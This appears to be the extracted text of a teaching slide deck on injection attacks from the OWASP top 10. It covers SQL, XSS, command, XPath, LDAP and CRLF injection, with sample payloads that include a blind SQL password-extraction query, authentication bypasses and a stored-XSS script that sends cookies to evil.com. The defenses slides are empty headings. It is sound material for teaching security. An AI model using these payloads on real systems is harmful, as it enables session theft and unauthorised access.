Injection attacks
Srinivasu Amjuri
Injection Attack
OWASP top 10
Injection Types
SQL Injection
SQL injection in different parts of the query
Normal Application Behavior
SQL Injection
Types of SQL Injections
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
XSS injection
<script>alert(document.domain)</script> <img src=1 onerror=alert(1)>
Exploits:
XSS Context:
<tag attribute="asdfghjkl" name="example" value="1">
"><script>alert(document.domain)</script>
</script><img src=1 onerror=alert(document.domain)>
<a href="#" onclick="... var input=''-alert(document.domain)-''; ...">
document.getElementById('message').innerText = `Welcome,${user.displayName}.`;�
Types of XSS attacks
Reflected XSS: where the malicious script comes from the current HTTP request.
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
Stored XSS: where the malicious script comes from the website's database.
<script>
window.location="http://evil.com/?cookie="+document.cookie
</script>
DOM-based XSS: where the vulnerability exists in client-side code rather than server-side code.
Code Injection
This attack introduces a malicious code into the application, which is capable of compromising database integrity and/or compromising privacy properties, security and even data correctness.
Command Injection
http://example.com/ping.php?address=8.8.8.8%26dir
XPath injection
<?xml version="1.0" encoding="utf-8"?>
<Employees>
<Employee ID="1">
<FirstName>Arnold</FirstName>
<LastName>Baker</LastName>
<UserName>ABaker</UserName>
<Password>SoSecret</Password>
<Type>Admin</Type>
</Employee>
<Employee ID="2">
<FirstName>Peter</FirstName>
<LastName>Pan</LastName>
<UserName>PPan</UserName>
<Password>NotTelling</Password>
<Type>User</Type>
</Employee>
</Employees>
Vulnerable Query options:
C#:
String FindUserXPath;
FindUserXPath = "//Employee[UserName/text()='" + Request("Username") + "' And Password/text()='" + Request("Password") + "']";
Username: blah' or 1=1 or 'a'='a
Password: blah
FindUserXPath becomes //Employee[UserName/text()='blah' or 1=1 or
'a'='a' And Password/text()='blah']
Logically this is equivalent to:
//Employee[(UserName/text()='blah' or 1=1) or
('a'='a' And Password/text()='blah')]
LDAP Injection
Example:
LDAP for authentication (&(Username=user)(Password=pwd))
LDAP injection query:
(&(Username=user)(&))(Password=pwd)) ;
dn: cn=John Doe,dc=example,dc=com�cn: John Doe�givenName: John�sn: Doe�telephoneNumber: +1 888 555 6789�mail: john@example.com�manager: cn=Barbara Doe,dc=example,dc=com�objectClass: inetOrgPerson�objectClass: person�
Query: (&(objectClass=person)(|(givenName=John)(mail=john*)))
Apps: OPEN LDAP, MS active Directory
CRLF Injection
Example:
123.123.123.123 - 08:15 -/index.php?page=home
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 -/index.php?page=home&restrictedaction=edit
123.123.123.123 - 08:15 -/index.php?page=home&
127.0.0.1 - 08:15 -/index.php?page=home&restrictedaction=edit
CSS injection
Defenses against Injection attacks
Primary Defenses:
Additional Defenses:
SQL Injection Examples
MySQL�["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],�["connection_id()=connection_id()" ,"MYSQL"],�["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
MSSQL�["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],�["@@CONNECTIONS>0" ,"MSSQL"],�["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],�["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],�["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
Oracle�["ROWNUM=ROWNUM" ,"ORACLE"],�["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],�["LNNVL(0=123)" ,"ORACLE"],
Extract database names, tables and column names�